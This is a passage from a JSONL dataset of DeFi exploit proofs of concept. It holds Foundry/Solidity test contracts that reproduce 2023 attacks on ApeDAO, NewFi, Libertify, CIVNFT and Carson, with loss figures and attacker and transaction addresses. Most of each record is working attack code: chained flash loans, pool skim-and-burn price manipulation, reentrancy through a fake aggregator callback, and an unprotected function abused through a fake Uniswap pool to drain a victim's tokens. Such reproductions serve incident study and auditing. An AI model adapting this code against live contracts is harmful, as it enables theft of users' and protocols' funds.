30_072_293);\n cheats.label(address(BUSDT), \"BUSDT\");\n cheats.label(address(APEDAO), \"APEDAO\");\n cheats.label(address(DPPOracle1), \"DPPOracle1\");\n cheats.label(address(DPPOracle2), \"DPPOracle2\");\n cheats.label(address(DPPOracle3), \"DPPOracle3\");\n cheats.label(address(DPP), \"DPP\");\n cheats.label(address(DPPAdvanced), \"DPPAdvanced\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(Pair), \"Pair\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n emit log_named_decimal_uint(\n \"BUSDT balance of attacker before exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1));\n emit log_named_decimal_uint(\n \"BUSDT balance of attacker after exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (msg.sender == address(DPPOracle1)) {\n DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), new bytes(1));\n } else if (msg.sender == address(DPPOracle2)) {\n DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), new bytes(1));\n } else if (msg.sender == address(DPPAdvanced)) {\n DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), new bytes(1));\n } else if (msg.sender == address(DPPOracle3)) {\n DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), new bytes(1));\n } else {\n BUSDT.approve(address(Router), type(uint256).max);\n\n swapBUSDTToAPEDAO();\n for (uint256 i; i < 16; i++) {\n // Transfer APEDAO to Pair contract and use skim function to withdraw the excess tokens\n APEDAO.transfer(address(Pair), APEDAO.balanceOf(address(this)));\n Pair.skim(address(this));\n }\n // Burn APEDAO tokens in Pair contract (cause the token price to rise)\n APEDAO.goDead();\n\n BUSDT.transfer(address(Pair), 1001);\n uint256 amountIn = APEDAO.balanceOf(address(this));\n APEDAO.transfer(address(Pair), APEDAO.balanceOf(address(this)));\n swapAPEDAOToBUSDT(amountIn);\n }\n BUSDT.transfer(msg.sender, quoteAmount);\n }\n\n function swapBUSDTToAPEDAO() internal {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(APEDAO);\n Router.swapExactTokensForTokens(19_000 * 1e18, 0, path, address(this), block.timestamp + 100);\n }\n\n function swapAPEDAOToBUSDT(\n uint256 amountIn\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(APEDAO);\n path[1] = address(BUSDT);\n uint256[] memory amounts = Router.getAmountsOut(amountIn, path);\n Pair.swap(amounts[1], 0, address(this), bytes(\"\"));\n }\n}\n", "type": "exploit_poc", "protocol": "ApeDAO", "date": "2023-07", "file_name": "ApeDAO_exp.sol", "attack_vector": "flash_loan", "content_hash": "7d850e97dd75e65e", "collected_at": "2026-01-07T10:59:16.510104", "_source": "postmortems", "chain": "bsc", "block_number": 30072293, "total_lost_raw": "~7K USD$", "total_lost_usd": 7000.0, "attacker_address": "https://bscscan.com/address/0x10703f7114dce7beaf8d23cde4bf72130bb0f56a", "attack_contract": "https://bscscan.com/address/0x45aa258ad08eeeb841c1c02eca7658f9dd4779c0", "vulnerable_contract": "https://bscscan.com/address/0xb47955b5b7eaf49c815ebc389850eb576c460092", "attack_tx": "https://bscscan.com/tx/0x8d35dfd9968ce61fb969ffe8dcc29eeeae864e466d2cb0b7d26ce63644691994", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~7K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n emit log_named_decimal_uint(\n \"BUSDT balance of attacker before exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1));\n emit log_named_decimal_uint(\n \"BUSDT balance of attacker after exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~7K USD$", "keyinfo_attacker": "https://bscscan.com/address/0x10703f7114dce7beaf8d23cde4bf72130bb0f56a", "keyinfo_attack_contract": "https://bscscan.com/address/0x45aa258ad08eeeb841c1c02eca7658f9dd4779c0", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xb47955b5b7eaf49c815ebc389850eb576c460092", "keyinfo_attack_tx": "https://bscscan.com/tx/0x8d35dfd9968ce61fb969ffe8dcc29eeeae864e466d2cb0b7d26ce63644691994", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$7.0K", "content_richness_score": 9.36, "quality_estimate": "high", "title": "ApeDAO Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~31K USD$\n// Attacker : https://bscscan.com/address/0x3a10408fd7a2b2a43bd14a17c0d4568430b93132\n// Attack Contract : https://bscscan.com/address/0x18703a4fd7b3688607abf25424b6ab304def2512\n// Vulnerable Contract : https://bscscan.com/address/0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411\n// Attack Tx : https://bscscan.com/tx/0x557628123d137ea49564e4dccff5f5d1e508607e96dd20fe99a670519b679cb5\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1680961588323557376\n\ninterface IStakedV3 {\n function Invest(\n uint256 id,\n uint256 amount,\n uint256 quoteAmount,\n uint256 investType,\n uint256 cycle,\n uint256 deadline\n ) external payable;\n}\n\ncontract ContractTest is Test {\n IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Router_V3 Router = Uni_Router_V3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);\n Uni_Pair_V3 Pair1 = Uni_Pair_V3(0x22536030B9cE783B6Ddfb9a39ac7F439f568E5e6);\n Uni_Pair_V3 Pair2 = Uni_Pair_V3(0x85FAac652b707FDf6907EF726751087F9E0b6687);\n Uni_Pair_V3 Pair3 = Uni_Pair_V3(0x369482C78baD380a036cAB827fE677C1903d1523);\n IStakedV3 StakedV3 = IStakedV3(0xB8dC09Eec82CaB2E86C7EdC8DD5882dd92d22411);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 30_043_573);\n vm.label(address(BUSD), \"BUSD\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(Router), \"Router\");\n vm.label(address(Pair1), \"Pair1\");\n vm.label(address(Pair2), \"Pair2\");\n vm.label(address(StakedV3), \"StakedV3\");\n }\n\n function testExploit() public {\n USDT.approve(address(Router), type(uint256).max);\n BUSD.approve(address(Router), type(uint256).max);\n BUSD.approve(address(StakedV3), type(uint256).max);\n BUSD.approve(address(StakedV3), type(uint256).max);\n Pair1.flash(address(this), 0, BUSD.balanceOf(address(Pair1)), abi.encode(BUSD.balanceOf(address(Pair1))));\n\n emit log_named_decimal_uint(\n \"Attacker BUSD balance after exploit\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }\n\n function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n if (msg.sender == address(Pair1)) {\n Pair2.flash(address(this), 0, BUSD.balanceOf(address(Pair2)), abi.encode(BUSD.balanceOf(address(Pair2))));\n uint256 repayAmount = abi.decode(data, (uint256));\n BUSD.transfer(address(Pair1), repayAmount + amount1);\n } else if (msg.sender == address(Pair2)) {\n Pair3.flash(address(this), 0, BUSD.balanceOf(address(Pair3)), abi.encode(BUSD.balanceOf(address(Pair3))));\n uint256 repayAmount = abi.decode(data, (uint256));\n BUSD.transfer(address(Pair2), repayAmount + amount1);\n } else if (msg.sender == address(Pair3)) {\n BUSDToUSDT();\n StakedV3.Invest(2, 1 ether, 2, 1, 7, block.timestamp + 1000); // remove liquidity and swap BUSD to USDT\n USDTToBUSD();\n uint256 repayAmount = abi.decode(data, (uint256));\n BUSD.transfer(address(Pair3), repayAmount + amount1);\n }\n }\n\n function BUSDToUSDT() internal {\n bytes memory path = abi.encodePacked(address(BUSD), uint24(100), address(USDT));\n address recipient = address(this);\n uint256 amountIn = 12_000_000 ether;\n uint256 amountOutMinimum = 0;\n Uni_Router_V3.ExactInputParams memory ExactInputParams =\n Uni_Router_V3.ExactInputParams(path, recipient, amountIn, amountOutMinimum);\n Router.exactInput(ExactInputParams);\n }\n\n function USDTToBUSD() internal {\n bytes memory path = abi.encodePacked(address(USDT), uint24(100), address(BUSD));\n address recipient = address(this);\n uint256 amountIn = USDT.balanceOf(address(this));\n uint256 amountOutMinimum = 0;\n Uni_Router_V3.ExactInputParams memory ExactInputParams =\n Uni_Router_V3.ExactInputParams(path, recipient, amountIn, amountOutMinimum);\n Router.exactInput(ExactInputParams);\n }\n}\n", "type": "exploit_poc", "protocol": "NewFi", "date": "2023-07", "file_name": "NewFi_exp.sol", "attack_vector": null, "content_hash": "ec8fa568b960bcc6", "collected_at": "2026-01-07T10:59:16.510166", "_source": "postmortems", "chain": "bsc", "block_number": 30043573, "total_lost_raw": "~31K USD$", "total_lost_usd": 31000.0, "attacker_address": "https://bscscan.com/address/0x3a10408fd7a2b2a43bd14a17c0d4568430b93132", "attack_contract": "https://bscscan.com/address/0x18703a4fd7b3688607abf25424b6ab304def2512", "vulnerable_contract": "https://bscscan.com/address/0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411", "attack_tx": "https://bscscan.com/tx/0x557628123d137ea49564e4dccff5f5d1e508607e96dd20fe99a670519b679cb5", "postmortem_url": null, "twitter_url": "https://twitter.com/Phalcon_xyz/status/1680961588323557376", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~31K USD$", "category": "unknown", "exploit_code": "function testExploit() public {\n USDT.approve(address(Router), type(uint256).max);\n BUSD.approve(address(Router), type(uint256).max);\n BUSD.approve(address(StakedV3), type(uint256).max);\n BUSD.approve(address(StakedV3), type(uint256).max);\n Pair1.flash(address(this), 0, BUSD.balanceOf(address(Pair1)), abi.encode(BUSD.balanceOf(address(Pair1))));\n\n emit log_named_decimal_uint(\n \"Attacker BUSD balance after exploit\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~31K USD$", "keyinfo_attacker": "https://bscscan.com/address/0x3a10408fd7a2b2a43bd14a17c0d4568430b93132", "keyinfo_attack_contract": "https://bscscan.com/address/0x18703a4fd7b3688607abf25424b6ab304def2512", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411", "keyinfo_attack_tx": "https://bscscan.com/tx/0x557628123d137ea49564e4dccff5f5d1e508607e96dd20fe99a670519b679cb5", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/Phalcon_xyz/status/1680961588323557376", "funds_lost_formatted": "$31.0K", "content_richness_score": 8.21, "quality_estimate": "high", "title": "NewFi Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~452K USD$\n// Attacker : https://polygonscan.com/address/0xfd2d3ffb05ad00e61e3c8d8701cb9036b7a16d02\n// Attack Contract : https://polygonscan.com/address/0xdfcdb5a86b167b3a418f3909d6f7a2f2873f2969\n// Vulnerable Contract : https://polygonscan.com/address/0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b\n// Attack Tx : https://polygonscan.com/tx/0x7320accea0ef1d7abca8100c82223533b624c82d3e8d445954731495d4388483\n\n// @Info\n// Vulnerable Contract Code : https://polygonscan.com/address/0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/peckshield/status/1678688731908411393\n// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1678694679767031809\n\ninterface ILibertiVault {\n function deposit(uint256 assets, address receiver, bytes calldata data) external returns (uint256 shares);\n function exit() external returns (uint256 amountToken0, uint256 amountToken1);\n}\n\ninterface IAggregationExecutor {\n /// @notice Make calls on `msgSender` with specified data\n function callBytes(address msgSender, bytes calldata data) external payable; // 0x2636f7f8\n}\n\ninterface oneInchV4Router {\n struct SwapDescription {\n IERC20 srcToken;\n IERC20 dstToken;\n address payable srcReceiver;\n address payable dstReceiver;\n uint256 amount;\n uint256 minReturnAmount;\n uint256 flags;\n bytes permit;\n }\n\n function swap(\n IAggregationExecutor caller,\n SwapDescription calldata desc,\n bytes calldata data\n ) external payable returns (uint256 returnAmount, uint256 spentAmount, uint256 gasLeft);\n}\n\ncontract ContractTest is Test {\n IERC20 USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);\n IERC20 WETH = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);\n IAaveFlashloan aaveV2 = IAaveFlashloan(0x8dFf5E27EA6b7AC08EbFdf9eB090F32ee9a30fcf);\n ILibertiVault LibertiVault = ILibertiVault(0x9c80a455ecaca7025A45F5fa3b85Fd6A462a447b);\n oneInchV4Router inchV4Router = oneInchV4Router(0x1111111254fb6c44bAC0beD2854e76F90643097d);\n Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n uint256 nonce;\n\n function setUp() public {\n vm.createSelectFork(\"polygon\", 44_941_584);\n vm.label(address(USDT), \"USDT\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(aaveV2), \"aaveV2\");\n vm.label(address(inchV4Router), \"inchV4Router\");\n }\n\n function testExploit() external {\n deal(address(WETH), address(this), 0.004 ether);\n WETH.approve(address(LibertiVault), type(uint256).max);\n address[] memory assets = new address[](1);\n assets[0] = address(USDT);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 5_000_000 * 1e6;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n aaveV2.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n aaveV2.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n USDT.approve(address(aaveV2), type(uint256).max);\n\n bytes memory callData = setData();\n LibertiVault.deposit(0.001 ether, address(this), callData);\n\n LibertiVault.exit();\n if (USDT.balanceOf(address(this)) < (amounts[0] + premiums[0])) {\n WETHToUSDT(amounts[0], premiums[0]);\n }\n return true;\n }\n\n // function callBytes(address msgSender, bytes calldata data) external payable {\n // nonce++;\n // if (nonce % 2 == 1) {\n // bytes memory callData = setData();\n // LibertiVault.deposit(0.001 ether, address(this), callData); // re-enter the 'deposit()' during callBytes() call to manipulate the totalSupply , mint more share\n // }\n // USDT.transfer(address(inchV4Router), 2_500_000 * 1e6);\n // }\n\n fallback() external payable {\n nonce++;\n if (nonce % 2 == 1) {\n bytes memory callData = setData();\n LibertiVault.deposit(0.001 ether, address(this), callData); // re-enter the 'deposit()' during callBytes() call to manipulate the totalSupply , mint more share\n }\n USDT.transfer(address(inchV4Router), 2_500_000 * 1e6);\n }\n\n function setData() internal view returns (bytes memory data) {\n //1inchV4Router.swap(caller, desc, data)\n IAggregationExecutor caller = IAggregationExecutor(address(this));\n oneInchV4Router.SwapDescription memory desc = oneInchV4Router.SwapDescription(\n WETH, USDT, payable(address(this)), payable(address(LibertiVault)), 252_700 * 1e9, 1, 0, \"\"\n );\n data = abi.encodeWithSelector(bytes4(0x7c025200), caller, desc, new bytes(1));\n return data;\n }\n\n function WETHToUSDT(uint256 amount, uint256 premium) internal {\n WETH.approve(address(Router), type(uint256).max);\n Uni_Router_V3.ExactOutputSingleParams memory _Param = Uni_Router_V3.ExactOutputSingleParams({\n tokenIn: address(WETH),\n tokenOut: address(USDT),\n fee: 3000,\n recipient: address(this),\n deadline: block.timestamp,\n amountOut: amount + premium - USDT.balanceOf(address(this)),\n amountInMaximum: type(uint256).max,\n sqrtPriceLimitX96: 0\n });\n Router.exactOutputSingle(_Param);\n }\n}\n", "type": "exploit_poc", "protocol": "Libertify", "date": "2023-07", "file_name": "Libertify_exp.sol", "attack_vector": "flash_loan", "content_hash": "99ea34252bb6530b", "collected_at": "2026-01-07T10:59:16.510217", "_source": "postmortems", "chain": "polygon", "block_number": 44941584, "total_lost_raw": "~452K USD$", "total_lost_usd": 452000.0, "attacker_address": "https://polygonscan.com/address/0xfd2d3ffb05ad00e61e3c8d8701cb9036b7a16d02", "attack_contract": "https://polygonscan.com/address/0xdfcdb5a86b167b3a418f3909d6f7a2f2873f2969", "vulnerable_contract": "https://polygonscan.com/address/0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b", "attack_tx": "https://polygonscan.com/tx/0x7320accea0ef1d7abca8100c82223533b624c82d3e8d445954731495d4388483", "postmortem_url": null, "twitter_url": "https://twitter.com/peckshield/status/1678688731908411393", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~452K USD$", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~452K USD$", "keyinfo_attacker": "https://polygonscan.com/address/0xfd2d3ffb05ad00e61e3c8d8701cb9036b7a16d02", "keyinfo_attack_contract": "https://polygonscan.com/address/0xdfcdb5a86b167b3a418f3909d6f7a2f2873f2969", "keyinfo_vulnerable_contract": "https://polygonscan.com/address/0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b", "keyinfo_attack_tx": "https://polygonscan.com/tx/0x7320accea0ef1d7abca8100c82223533b624c82d3e8d445954731495d4388483", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/peckshield/status/1678688731908411393", "funds_lost_formatted": "$452.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "Libertify Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~180K USD$\n// Attacker : https://etherscan.io/address/0xbf9df575670c739d9bf1424d4913e7244ed3ff66\n// Attack Contract : https://etherscan.io/address/0x1ae3929e1975043e5443868be91cac12d8cc25ec\n// Vulnerable Contract : https://etherscan.io/address/0xf169bd68ed72b2fdc3c9234833197171aa000580\n// Attack Tx : https://etherscan.io/tx/0x93a033917fcdbd5fe8ae24e9fe22f002949cba2f621a1c43a54f6519479caceb\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1677722208893022210\n// https://news.civfund.org/civtrade-hack-analysis-9a2398a6bc2e\n// https://blog.solidityscan.com/civnft-hack-analysis-4ee79b8c33d1\n\n// Similar incident: https://github.com/SunWeb3Sec/DeFiHackLabs#20230708-civfund---lack-of-access-control\n\ncontract CIVNFTTest is Test {\n struct Slot0 {\n // the current price\n uint160 sqrtPriceX96;\n // the current tick\n int24 tick;\n // the most-recently updated index of the observations array\n uint16 observationIndex;\n // the current maximum number of observations that are being stored\n uint16 observationCardinality;\n // the next maximum number of observations to store, triggered in observations.write\n uint16 observationCardinalityNext;\n // the current protocol fee as a percentage of the swap fee taken on withdrawal\n // represented as an integer denominator (1/x)%\n uint8 feeProtocol;\n // whether the pool is locked\n bool unlocked;\n }\n\n IERC20 private constant CIV = IERC20(0x37fE0f067FA808fFBDd12891C0858532CFE7361d);\n IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n address private constant CIVNFT = 0xF169BD68ED72B2fdC3C9234833197171AA000580;\n address private constant victim = 0x512e9701D314b365921BcB3b8265658A152C9fFD;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 17_649_875);\n cheats.label(address(CIV), \"CIV\");\n cheats.label(address(WETH), \"WETH\");\n cheats.label(CIVNFT, \"CIVNFT\");\n cheats.label(victim, \"victim\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker CIV balance before exploit\", CIV.balanceOf(address(this)), CIV.decimals());\n // Calling vulnerable function in CIVNFT contract\n call0x7ca06d68();\n emit log_named_decimal_uint(\"Attacker CIV balance after exploit\", CIV.balanceOf(address(this)), CIV.decimals());\n }\n\n function token0() external view returns (address) {\n return address(CIV);\n }\n\n function token1() external view returns (address) {\n return address(WETH);\n }\n\n function tickSpacing() external pure returns (int24) {\n return 60;\n }\n\n function slot0() external pure returns (Slot0 memory) {\n return Slot0({\n sqrtPriceX96: 590_212_530_842_204_246_875_907_781,\n tick: -97_380,\n observationIndex: 0,\n observationCardinality: 1,\n observationCardinalityNext: 1,\n feeProtocol: 0,\n unlocked: true\n });\n }\n\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external returns (uint256 amount0, uint256 amount1) {\n callUniswapV3MintCallback();\n }\n\n function call0x7ca06d68() internal {\n (bool success,) = CIVNFT.call(\n abi.encodeWithSelector(\n bytes4(0x7ca06d68), // vulnerable function selector\n address(this), // fake uniswap pool\n abi.encodePacked(\"0.000059\"),\n -97_385, // int24 tick\n 195_476_868_337_608_980_000_000, // uint256\n 0, // uint256\n true // bool\n )\n );\n require(success, \"Call to CIVNFT failed\");\n }\n\n function callUniswapV3MintCallback() internal {\n bytes memory data = abi.encode(victim, victim);\n (bool success,) = CIVNFT.call(abi.encodeWithSelector(bytes4(0xd3487997), CIV.balanceOf(victim), 0, data));\n require(success, \"Call to Uniswap callback failed\");\n }\n}\n", "type": "exploit_poc", "protocol": "CIVNFT", "date": "2023-07", "file_name": "CIVNFT_exp.sol", "attack_vector": "access_control", "content_hash": "f3690bbe87db29b1", "collected_at": "2026-01-07T10:59:16.510285", "_source": "postmortems", "chain": "ethereum", "block_number": 17649875, "total_lost_raw": "~180K USD$", "total_lost_usd": 180000.0, "attacker_address": "https://etherscan.io/address/0xbf9df575670c739d9bf1424d4913e7244ed3ff66", "attack_contract": "https://etherscan.io/address/0x1ae3929e1975043e5443868be91cac12d8cc25ec", "vulnerable_contract": "https://etherscan.io/address/0xf169bd68ed72b2fdc3c9234833197171aa000580", "attack_tx": "https://etherscan.io/tx/0x93a033917fcdbd5fe8ae24e9fe22f002949cba2f621a1c43a54f6519479caceb", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~180K USD$", "category": "access-control", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Attacker CIV balance before exploit\", CIV.balanceOf(address(this)), CIV.decimals());\n // Calling vulnerable function in CIVNFT contract\n call0x7ca06d68();\n emit log_named_decimal_uint(\"Attacker CIV balance after exploit\", CIV.balanceOf(address(this)), CIV.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~180K USD$", "keyinfo_attacker": "https://etherscan.io/address/0xbf9df575670c739d9bf1424d4913e7244ed3ff66", "keyinfo_attack_contract": "https://etherscan.io/address/0x1ae3929e1975043e5443868be91cac12d8cc25ec", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xf169bd68ed72b2fdc3c9234833197171aa000580", "keyinfo_attack_tx": "https://etherscan.io/tx/0x93a033917fcdbd5fe8ae24e9fe22f002949cba2f621a1c43a54f6519479caceb", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$180.0K", "content_richness_score": 9.18, "quality_estimate": "high", "title": "CIVNFT Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~150K USD$\n// Attacker : https://bscscan.com/address/0x25bcbbb92c2ae9d0c6f4db814e46fd5c632e2bd3\n// Attack Contract : https://bscscan.com/address/0x9cffc95e742d22c1446a3d22e656bb23835a38ac\n// Attack Tx : https://bscscan.com/tx/0x37d921a6bb0ecdd8f1ec918d795f9c354727a3ff6b0dba98a512fceb9662a3ac\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1684393202252402688\n// https://twitter.com/Phalcon_xyz/status/1684503154023448583\n// https://twitter.com/hexagate_/status/1684475526663004160\n\ncontract CarsonTest is Test {\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 Carson = IERC20(0x0aCD5019EdC8ff765517e2e691C5EeF6f9c08830);\n IDPPOracle DPPOracle1 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);\n IDPPOracle DPPOracle2 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IDPPOracle DPPOracle3 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n // Closed source contract\n Uni_Router_V2 Router = Uni_Router_V2(0x2bDFb2f33E1aaEe08719F50d05Ef28057BB6341a);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 30_306_324);\n cheats.label(address(BUSDT), \"BUSDT\");\n cheats.label(address(Carson), \"Carson\");\n cheats.label(address(DPPOracle1), \"DPPOracle1\");\n cheats.label(address(DPPOracle2), \"DPPOracle2\");\n cheats.label(address(DPPOracle3), \"DPPOracle3\");\n cheats.label(address(DPP), \"DPP\");\n cheats.label(address(DPPAdvanced), \"DPPAdvanced\");\n cheats.label(address(Router), \"Router\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n emit log_named_decimal_uint(\n \"Attacker balance of BUSDT before exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker balance of BUSDT after exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (msg.sender == address(DPPOracle1)) {\n DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), new bytes(1));\n } else if (msg.sender == address(DPPOracle2)) {\n DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), new bytes(1));\n } else if (msg.sender == address(DPPOracle3)) {\n DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), new bytes(1));\n } else if (msg.sender == address(DPP)) {\n DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), new bytes(1));\n } else {\n // Start exploit. Root cause of the exploit stem from the customized pair contract\n // Info from Phalcon (see above). To be updated\n BUSDT.approve(address(Router), type(uint256).max);\n Carson.approve(address(Router), type(uint256).max);\n BUSDTToCarson();\n for (uint256 i; i < 50; ++i) {\n CarsonToBUSDT(5000 * 1e18);\n }\n CarsonToBUSDT(Carson.balanceOf(address(this)));\n // End exploit\n }\n // Repaying flashloans\n BUSDT.transfer(msg.sender, quoteAmount);\n }\n\n function BUSDTToCarson() internal {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(Carson);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 1_500_000 * 1e18, 0, path, address(this), block.timestamp + 1000\n );\n }\n\n function CarsonToBUSDT(\n uint256 amount\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(Carson);\n path[1] = address(BUSDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amount, 0, path, address(this), block.timestamp + 1000\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Carson", "date": "2023-07", "file_name": "Carson_exp.sol", "attack_vector": "flash_loan", "content_hash": "fdcc073149a72ae5", "collected_at": "2026-01-07T10:59:16.510336", "_source": "postmortems", "chain": "bsc", "block_number": 30306324, "total_lost_raw": "~150K USD$", "total_lost_usd": 150000.0, "attacker_address": "https://bscscan.com/address/0x25bcbbb92c2ae9d0c6f4db814e46fd5c632e2bd3", "attack_contract": "https://bscscan.com/address/0x9cffc95e742d22c1446a3d22e656bb23835a38ac", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x37d921a6bb0ecdd8f1ec918d795f9c354727a3ff6b0dba98a512fceb9662a3ac", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~150K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n 